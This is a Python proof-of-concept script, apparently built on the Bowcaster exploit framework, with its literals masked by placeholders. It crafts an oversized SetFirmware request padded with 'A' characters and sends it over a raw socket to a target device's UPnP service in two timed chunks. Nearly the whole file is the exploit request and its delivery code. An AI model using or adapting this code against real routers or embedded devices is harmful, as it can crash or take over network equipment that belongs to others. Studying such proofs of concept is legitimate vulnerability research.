<s> import socket <EOL> import time <EOL> from bowcaster . common import Logging <EOL> HOST = "<STR_LIT>" <EOL> class SetFirmwareRequestHeaders ( object ) : <EOL> def __init__ ( self , content_length ) : <EOL> headers = "<STR_LIT>" . join ( [ "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" , <EOL> "<STR_LIT>" ] ) <EOL> self . headers = headers % ( content_length ) <EOL> def __str__ ( self ) : <EOL> return self . headers <EOL> class SetFirmwareRequest ( object ) : <EOL> """<STR_LIT>""" <EOL> MIN_CONTENT_LENGTH = <NUM_LIT> <EOL> def __init__ ( self , logger = None ) : <EOL> if not logger : <EOL> logger = Logging ( max_level = Logging . DEBUG ) <EOL> self . request_body = "<STR_LIT:A>" * self . MIN_CONTENT_LENGTH <EOL> length = len ( self . request_body ) <EOL> logger . LOG_DEBUG ( "<STR_LIT>" % length ) <EOL> self . request_headers = SetFirmwareRequestHeaders ( length ) <EOL> def __str__ ( self ) : <EOL> return str ( self . request_headers ) + self . request_body <EOL> def special_upnp_send ( addr , port , data ) : <EOL> sock = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) <EOL> sock . connect ( ( addr , port ) ) <EOL> """<STR_LIT>""" <EOL> sock . send ( data [ : <NUM_LIT> ] ) <EOL> """<STR_LIT>""" <EOL> time . sleep ( <NUM_LIT:1> ) <EOL> """<STR_LIT>""" <EOL> sock . send ( data [ <NUM_LIT> : ] ) <EOL> """<STR_LIT>""" <EOL> time . sleep ( <NUM_LIT:10> ) <EOL> sock . close ( ) <EOL> def main ( ) : <EOL> logger = Logging ( max_level = Logging . DEBUG ) <EOL> request = SetFirmwareRequest ( logger = logger ) <EOL> logger . LOG_DEBUG ( "<STR_LIT>" ) <EOL> open ( "<STR_LIT>" , "<STR_LIT:wb>" ) . write ( str ( request ) ) <EOL> logger . LOG_DEBUG ( "<STR_LIT>" ) <EOL> logger . LOG_INFO ( "<STR_LIT>" % HOST ) <EOL> special_upnp_send ( HOST , <NUM_LIT> , str ( request ) ) <EOL> logger . LOG_INFO ( "<STR_LIT>" ) <EOL> if __name__ == "<STR_LIT:__main__>" : <EOL> main ( ) </s>
